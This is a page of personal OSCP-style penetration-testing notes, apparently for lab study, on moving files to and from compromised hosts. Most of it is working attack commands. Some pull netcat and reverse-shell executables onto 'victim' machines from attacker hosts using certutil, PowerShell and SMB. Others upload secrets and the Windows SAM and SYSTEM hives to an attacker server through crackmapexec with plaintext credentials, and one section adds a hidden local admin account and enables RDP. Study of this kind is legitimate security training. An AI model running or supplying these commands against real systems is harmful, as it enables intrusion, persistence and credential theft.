> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/post-exploitation/transfer-files.md).
# Transfer Files
Linux
```bash
python -m SimpleHTTPServer 53
```
```bash
python3 -m http.server 8023
```
```bash
wget -O
```
```bash
curl -o
```
```bash
axel -a -n 20 -o
```
Windows
```shell
curl.exe http://10.11.67.208:8000/output.dll --output output.dll
```
```bash
powershell.exe iwr -uri 10.10.105.147/nc.exe -o c:\temp\nc.exe
```
```sh
powershell -c cd C:\windows\temp; wget http://10.10.14.68/nc64.exe -outfile nc64.exe
```
```powershell
(new-object net.webclient).downloadfile('http://10.10.14.2/nc.exe', 'c:\temp\nc.exe')
```
```
bitsadmin /Transfer myJob http://192.168.61.128/README.md c:\Users\testing\README.md
```
```bash
certutil.exe -urlcache -f http://10.10.14.68/nc.exe C:\Windows\Temp\nc.exe
```
Upload files to HTTP Server
Attacker's upload server:
```bash
python3 SimpleHTTPServerWithUpload.py 80
```
#### GUI to upload file:
* Go to ``
#### Windows victim uploading file using PS:
```powershell
(New-Object System.Net.WebClient).UploadFile('http://192.168.45.5/', 'c:\temp\20230425015352_BloodHound.zip')
```
#### Windows victim uploading file using CMD:
* double backslashes are impt!!
* Windows 10 and Server 2019 has curl.exe built-in at `c:\windows\system32\curl.exe`
```bash
powershell -c curl.exe -F 'file=@C:\\temp\\supersecret.txt' http://172.16.1.30
```
#### Linux victim uploading file:
```bash
curl -F 'file=@' http:///
```
```
requests.post(, files={'file': open(output_file, 'rb')})
```
SMB
On attacker:
```bash
impacket-smbserver share . -smb2support
```
* may not need to use `-smb2support` switch for older versions of Windows
On victim:
```shell
copy \\10.10.14.68\share\reverse.exe .
```
OR...
```bash
net use \\10.10.14.68\share /u:d d
cd \\10.10.14.15\share
.\winpeas.bat
```
FTP
```bash
python2.7 -m pyftpdlib -p 21 --write
```
### Non-Interactive File Transfer
* Have to craft the txt file on the victim as Linux and Win uses diff encoding for txt files.
#### CMD:
```bash
echo open 172.16.1.30 > ftp.txt
echo USER anonymous >> ftp.txt
echo PASS anonymous >> ftp.txt
echo binary >> ftp.txt
echo PUT nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp.exe -v -n -s:ftp.txt
```
#### PS:
* Doesn't like the `>` or `<` characters
```bash
echo "open 172.16.1.30" | Out-File .\ftp.txt -encoding ascii
echo "USER anonymous" | Out-File .\ftp.txt -encoding ascii -append
echo "PASS anonymous" | Out-File .\ftp.txt -encoding ascii -append
echo "binary" | Out-File .\ftp.txt -encoding ascii -append
echo "PUT nc.exe" | Out-File .\ftp.txt -encoding ascii -append
echo "bye" | Out-File .\ftp.txt -encoding ascii -append
ftp.exe -v -n -s:ftp.txt
```
SCP
From attacker to victim, run command on attacker:
```bash
scp -P 2222 printname.sh student@192.168.161.52:/tmp
```
From victim to attacker, run command on attacker:
```bash
scp root@linuxvictim:/tmp/krb5cc_607000500_ZX6A9Z .
```
```bash
scp -P 2222 -o "UserKnownHostsFile=/dev/null" student@192.168.145.52:/home/student/navigating-code.exe /tmp/navigating-code.exe
```
Netcat
On Victim:
```bash
nc -nlvp 4444 > wget.exe
```
On Attacker:
```bash
nc -nv 10.11.0.22 4444 < /home/kali/Downloads/wget.exe
```
Python3 uploadserver library
On Attacker:
```python
python3 -m uploadserver 80
```
Can install using `python3 -m pip install --user uploadserver`
On Victim:
```bash
curl -X POST http://192.168.45.201:80/upload -F 'files=@/usr/bin/sg'
```
Socat
Transferring files from attacker to victim
On Attacker:
```bash
socat TCP4-LISTEN:80,fork file:rev.php
```
On Victim:
```bash
socat TCP4:192.168.45.213:80 file:rev.php,create
```
Transfer files to unreachable hosts
* Able to reach MS01 but not MS02 despite chisel in place
* MS02 able to reach MS01 via internal IP
#### Use existing HTTP server on MS01 to transfer files
```bash
ftp
# ftp> cd wwwroot
# ftp> bin
# ftp> put reverse.exe
# local: reverse.exe remote: reverse.exe
# 229 Entering Extended Passive Mode (|||50472|)
# 125 Data connection already open; Transfer starting.
# 100% |**********************************************************************| 7168 23.57 MiB/s 00:00 ETA
# 226 Transfer complete.
# 7168 bytes sent in 00:00 (38.06 KiB/s)
# Use Curl to download the reverse shell from MS01 web server.
proxychains -q crackmapexec mssql 10.10.105.148 -u sql_svc -p Dolphin1 -x "curl http://:8000/reverse.exe --output c:\temp\reverse.exe"
```
### OR
#### Setup Rejetto HFS server (HTTP file server)
```bash
wget https://github.com/rejetto/hfs/releases/download/v0.45.0/hfs-windows.zip
```
#### Create new local admin named bill & Enable RDP on MS01
```bash
c:\temp> net user bill P@ssw0rd /add
c:\temp> net localgroup administrators bill /add
c:\temp> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```
#### Run the HFS server
* Use GUI to unzip --> Double-click hfs executable to serve HTTP server
* Go to --> hamburger icon --> shared files --> add files in virtual file system --> save
#### Download files from MS01 HFS server to MS02
```bash
proxychains -q crackmapexec mssql 10.10.105.148 -u sql_svc -p Dolphin1 -x "powershell.exe iwr -uri 10.10.105.147/nc.exe -o c:\temp\nc.exe"
```
#### Upload files from MS02 to MS01
* Inside HFS admin console ()
* Select "Shared Files" --> Select "Home" --> "Source on disk" put as a local directory
* Select "Who can upload" as anyone
```bash
proxychains -q crackmapexec mssql 10.10.105.148 -u sql_svc -p Dolphin1 -X "curl.exe -F 'file=@c:\windows.old\windows\system32\SAM' http://10.10.105.147"
proxychains -q crackmapexec mssql 10.10.105.148 -u sql_svc -p Dolphin1 -X "curl.exe -F 'file=@c:\windows.old\windows\system32\SYSTEM' http://10.10.105.147"
```
* Note it's capital X, meaning that it's a Powershell command